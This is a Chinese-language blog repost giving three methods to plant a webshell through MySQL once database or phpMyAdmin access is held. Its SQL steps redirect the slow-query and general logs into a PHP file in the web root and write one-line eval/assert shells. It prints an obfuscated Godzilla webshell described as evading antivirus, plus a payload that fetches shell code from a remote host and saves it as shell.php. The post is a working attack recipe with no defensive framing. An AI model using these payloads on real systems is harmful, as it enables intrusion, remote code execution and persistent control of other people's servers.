码迷,mamicode.com
首页 > 数据库 > 详细

从数据库方向getshell方法总结

时间:2021-02-20 12:22:00      阅读:0      评论:0      收藏:0      [点我收藏+]

标签:fun   lob   str   class   sele   xxxx   iss   安全   gets   

前提

  拿到数据库权限,可以执行sql语句,或者进入到phpmyadmin界面,或pmd界面

  phpstudy  对应phpmyadmin界面  phpmyadmin.php
  upupw  对应pmd界面  u.php

流程

  使用show variables like ‘%log%‘及show variables like ‘%secure%‘查看相应的日志模块和安全防御模块的开启情况,并且了解网站目录的相应的路径情况。

  方法一:

    使用慢查询日志,写入shell

    执行下面3步sql语句:   

set global slow_query_log=1;//开启慢查询日志,可以绕过secure_priv的限制,而非直接select info outfile
set global slow_query_log_file=D:\WWW\log.php;//更改日志存放位置,并且将后缀名改成可执行的php文件,需要根据实际情况来确定WWW的位置
select "<?php @eval($_POST[‘cmd‘])?>" or sleep(11);//执行select语句,在日志中存入一句话木马,并且sleep11s,以便存入慢查询日志中去。

  方法二:

    使用general_log,写入shell

    执行下面3步sql语句:

set global general_log=on;
SET global general_log_file=D:/xxxx/WWW/cmd.php;
SELECT <?php assert($_POST["cmd"]);?>;

    注:shell的格式可以自行选取,可以使用具有免杀效果的shell,比如哥斯拉的shell,可在哥斯拉处直接生成相应的shell:

<?php
    session_start();
    @set_time_limit(0);
    @error_reporting(0);
    function E($D,$K){
        for($i=0;$i<strlen($D);$i++) {
            $D[$i] = $D[$i]^$K[$i+1&15];
        }
        return $D;
    }
    function Q($D){
        return base64_encode($D);
    }
    function O($D){
        return base64_decode($D);
    }
    $P=pass;
    $V=payload;
    $T=3c6e0b8a9c15224a;
    if (isset($_POST[$P])){
        $F=O(E(O($_POST[$P]),$T));
        if (isset($_SESSION[$V])){
            $L=$_SESSION[$V];
            $A=explode(|,$L);
            class C{public function nvoke($p) {eval($p."");}}
            $R=new C();
            $R->nvoke($A[0]);
            echo substr(md5($P.$T),0,16);
            echo Q(E(@run($F),$T));
            echo substr(md5($P.$T),16);
        }else{
            $_SESSION[$V]=$F;
        }
    }

  方法三:

    向日志中,写入JavaScript脚本,下载远端服务器的shell文件到本地,并本地创建shell.php文件

    执行下面sql语句:

SET global general_log_file=C:/xxx/xxx/shell.php;
SELECT <script language="php"> $a="http://x.x.x.x/shell.txt";$b="file"."_g"."et_"."contents";$b = $b($a);file_put_contents("shell.php",$b); </script>

    最后记得访问一下相应的11.php,生成shell.php文件

最后

  使用相应的远控工具连接,即可!

 

从数据库方向getshell方法总结

标签:fun   lob   str   class   sele   xxxx   iss   安全   gets   

原文地址:https://www.cnblogs.com/scivous/p/14417698.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!